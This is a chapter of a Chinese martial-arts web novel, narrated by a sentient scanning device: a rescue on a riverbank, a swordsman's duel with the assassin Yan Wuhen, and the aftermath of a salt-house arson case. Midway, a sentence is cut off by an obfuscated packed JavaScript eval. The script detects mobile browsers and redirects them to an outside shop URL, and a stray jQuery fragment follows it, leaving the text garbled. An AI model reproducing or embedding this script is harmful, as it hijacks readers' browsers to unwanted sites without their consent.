拔腿就跑。

    江若鱼死死握着我,像是握着她的离北剑。可惜,那人的铁签比江若鱼逃跑的速度更快!

    铁签像标枪一般被投掷而出,直刺向江若鱼的小腿!

    我急得要命,江若鱼的眼睛怎么没长在后脑勺上?!

    三米……

    一米……

    十厘米!!

    “叮——”

    一道暗红色的身影从斜刺里掠出,手中长剑稳稳挡开了那铁签!铁签被击偏,擦着江若鱼的小腿飞过,“咄”的一声钉入她脚边的碎石滩里,尾端还在嗡嗡颤动。

    下一秒,一矫健的月白身影如游蛇般窜了出去。

    霎时间,一红一白两道身影分别从左右两侧向严无恨发起夹击,剑光在雨幕中交错如织,竟将那不可一世的杀手逼退了三步。

    “师兄、师姐?!”江若鱼赶忙刹住脚步,惊喜地回身望去。她捧着我,流下了属于劫后余生的眼泪,“小丫,得救了!”

    此时此刻,不适合含蓄表达。我规律而持久地闪光,安抚着这个不出门其实就不需要“得救”的小丫头。同时默默在心里给李琭勤的评级再降一档,并决定给他增加一个标签:狡猾。

    湿透的碎发贴在江若鱼额前,她大口喘着气,她挂满水珠的脸上,像刚被从水里捞起来的小兽,狼狈而鲜活。

    雨势渐渐缓了下来,仿佛连老天都看完了这场热闹,准备收场了。

    严无恨游刃有余地躲避着大师兄和大师姐的夹击,一路被逼退到沱水岸边。

    身后江水咆哮,浊浪翻涌,猛烈的波涛似有吞天没地之势,卷着泥沙与枯枝狠狠拍在岸边的礁石上,溅起一人多高的水花。

    “无恨。”

    沉稳又柔和的嗓音,初听还以为是哪位腹有诗书的翩翩公子——实则就是那位竹风松骨、剑胆琴心的大侠江无错!

    笑起来像春风翻书页、冷下来像冬夜断剑芒的离北大侠江无措,此刻立在瞭望台顶上,衣袂在风雨中翻飞,整个人像一柄刚刚出鞘的长剑。

    江若鱼循声望去,几乎是带着哭腔大声叫道:“阿爹!!”

    如果我有腿,我早奔到江大侠恒温、干燥、抗震的怀里去了——那儿简直是我理想中的安全仓。

    “若鱼!”

    真是的,架都打完了,怎么这些观众一个个冒了出来!

    李琭勤从远处奔来,脚下湿滑险些跌倒,却一刻没停。奇怪的是,他那两个跟班却不见人影。

    “诶诶诶,离小鱼儿远一点。”暗红身影收势,两步挡在李琭勤和江若鱼之间——正是大师兄江云开。

    “哼,小鱼儿喜欢《江湖英豪传》里身高八尺、宽背蜂腰、威猛无匹的男人。你这样的小孩儿,小鱼不稀罕!”一袭月白衣衫、说话夹枪带棒的是大师姐江月出。

    其实上述分明是她自己的择偶标准。

    李琭勤扶着右臂,好似受了伤。让我扫描试试——额,反复性脱臼,谁干的?

    那头,江无错几个起落,轻巧借势落地,膝盖保护一如既往地到位。

    江若鱼绕开江云开张开的怀抱,跑到李琭勤面前。

    不等江若鱼开口,李琭勤已经注意到她肩头的伤,眼睛猛地睁大,嘴唇发白:“你……你为何来赴约?!”

    “我怕你上当,所以来看看。”

    李琭勤眼中有什么沉重又灼热的东西在打转,半晌,他掏出绢子,死死按在江若鱼肩上:“没事就好,以后不可鲁莽行事。”

    江月出沉沉叹了口气,从怀里掏出纱布,熟练地将江若鱼的伤处暂时裹好,动作轻柔,嘴上却不饶人:“你这傻丫头,自己早被盯上了还不自知。你这个样子,想出山?再等十年吧!”

    “哈哈,误会一场,误会一场。”江云开热络地拍拍李琭勤的肩,一脸歉意,“不好意思把你的胳膊扯脱臼了,好歹接上了,最近别提重物,养养。”

    “你们为何一起来了?”

    很好,江若鱼想问的问题,我也想问。

    “闲话少问。”江月出瞥向不远处,“解决了狗东西,再好好审问你。”

    我和江若鱼立刻噤声,将全部注意力放在江无错与严无恨身上。

    超出了意感粒子的探测范围,听不清他们在说什么,但视感模块运作正常。

    二人像是闲聊两句足矣,即刻动起了手。

    江无错身形一闪,已欺到严无恨身前。他比严无恨矮半头,臂展也短,但出拳的速度快得像雨滴倒飞,拳影在雨幕中织成一张密不透风的网。

    是正儿八经的“离北拳”!

    严无恨挥拳硬接,拳风撞在一起,闷响如雷。

    江无错的手肘在接触的瞬间微微一转,左掌已贴上严无恨的胸口——竭尽全力一掌猛击!

    “哟呵,十七年未见,你的离北拳竟如此迟钝无力,无恨。”江无错一边说话,一边俯身捡起那根铁签,在手里掂量了两下,“你自己选,我来动手,还是你自裁。杀人偿命,江湖规矩。你明白的,无恨。”

    受了一击,严无恨整个人倒滑出去,靴底在碎石滩上犁出两道深沟。他捂着胸口,看上去肋骨断了不止一根。

    “以多欺少是么!”

    江无错一个探身,铁签如绣花针一般急速戳向手无寸铁的严无恨,嘴里骂骂咧咧,显然怒极:“你这以大欺小的狗东西,竟有脸斥我以多欺少!睁大你的狗眼看清楚,那是无念的女儿!狗东西,给我死!”

    严无恨因震惊瞬间瞪大双目,甚至朝江若鱼的方向瞥了一眼,才即刻凝神躲避江无错的攻击。

    “好!”率先振臂高呼的是江月出——她的脏话技能师承江无错,对师父的崇拜仅次于我。

    “啧,师父生气了,好可怕。”江云开用力搓搓胳膊上的鸡皮疙瘩,倒吸一口凉气。他一定回想起因贪玩把江若鱼忘在深山老林里,被江无错狠狠教训的那次——差点屁股开花。

    “别怕,我阿爹很厉害。”江若鱼还在试图安抚李琭勤的紧张情绪。

    “……”李琭勤面色凝重地盯着那方使出杀招的江无错,抿紧的嘴唇轻轻吐出一句话,“毕竟,他可是……离北大侠……江无错……”

    江无错是个战斗技巧几乎满格的战士,出手迅捷无常,路数变换多端。如果你恰好不如他脑子灵活,很难从战术上胜过他——显然严无恨就是那个脑子不够灵活的。

    短短五分钟内,江无错已在严无恨的胳膊、肩膀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768377|209825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以及膝盖窝里戳了八个血窟窿,铁签拔出时带出一蓬蓬血雾,被雨水迅速冲淡。

    我推测,下一个五分钟之内,严无恨死亡的概率高达97%。

    远处,几十点火光正在聚拢。一场险之又险的小型冲突接近尾声时,捕快们终于要登场收拾烂摊子了。

    严无恨见胜利无望,竟一个翻身,纵身跃入沱水沸腾的波涛之中——浊浪翻涌,瞬间将他的身影吞没,连一丝痕迹都没留下。

    江云开搭着李琭勤,江月出抓着江若鱼,四人迅速撤离了现场。

    最后离开的江无错神情自若,甚至认真擦去了铁签之上自己的指纹后,才如一滴墨隐入黑暗中,悄无声息。

    此刻,唯有江涛淼淼,不知疲倦地拍打着岸边的碎石。

    ---------------------------------------------

    一场震惊剑南州锦屏府的焚火大案,最终以出人意料的方式告破。

    我通过偷听正义楼里酒客与小二的闲聊,拼凑出了官方对此案的定论:

    刀疤男监守自盗,财迷心窍,趁东家周老板赴万花阁喝花酒时潜入盐号行窃,不慎引发大火。

    后大正盐号那位手持铁签的高手于幺妹儿镖局附近与纵火犯刀疤男狭路相逢,最终二人同归于尽。

    因当晚沱水暴涨,铁签高手尸身难寻,至今下落不明。

    听说以上证词由周老板亲自作保,可信度极高,锦屏府负责刑名的通判大人似乎准备就这么结案了。

    正此时,江云开把我搁在膝盖上,倒了些不知名的油液,两根手指搓来搓去,敷衍得像在揉一团不听话的面团。

    “大正盐号那把火,烧得妙啊。”江云开嘴里叼着根草茎,含糊不清地笑着,“哑巴吃黄连,有苦说不出。知道真相也不敢声张。况且更恼火的是——再不运盐去江南州,怕是要撞上雨季了。”

    江月出倚着廊柱,腰背挺直如松,目光时不时瞟向江若鱼紧闭的房门,语气里带着一丝慵懒的烦躁:“你说小鱼儿不会真喜欢那小子吧。哼。”

    “啧。”江云开把我翻了个面,继续上油,“你说要不要告诉小鱼儿?其实还没进锦屏府,就咱们演‘卖身葬父’那出戏时,这小子已经盯上她了。要怪就怪离北剑太显眼,天下谁人不识。”

    江月出眉头微微一动,没有开腔。

    江云开潦草地完成了手中的活计——反正我已经够亮了——随手将我搁在石阶上,然后起身,不动声色走近江月出。

    “说来,当时你哭得那叫一个伤心。”江云开伸手,指尖轻轻碰了碰江月出的手背,声音低下来,像风吹过竹梢,“我都记着呢。”

    江月出没有躲,只是把目光从江若鱼的房门上收回来,落在那丛被雨水打歪的芭蕉叶上,嘴角微微抿了一下:“那是假的。”

    “嗯。”江云开顺势握住江月出的手,掌心贴着掌心,指缝交错,不紧不松,“可我记得真。”

    江月出沉默了两秒,反手捏了捏江云开的指节,像在警告,又像在回应:“你说小鱼儿会不会挨揍?”

    “放心,师父舍不得。小鱼儿出门才几天,师父都偷着哭七八回了。”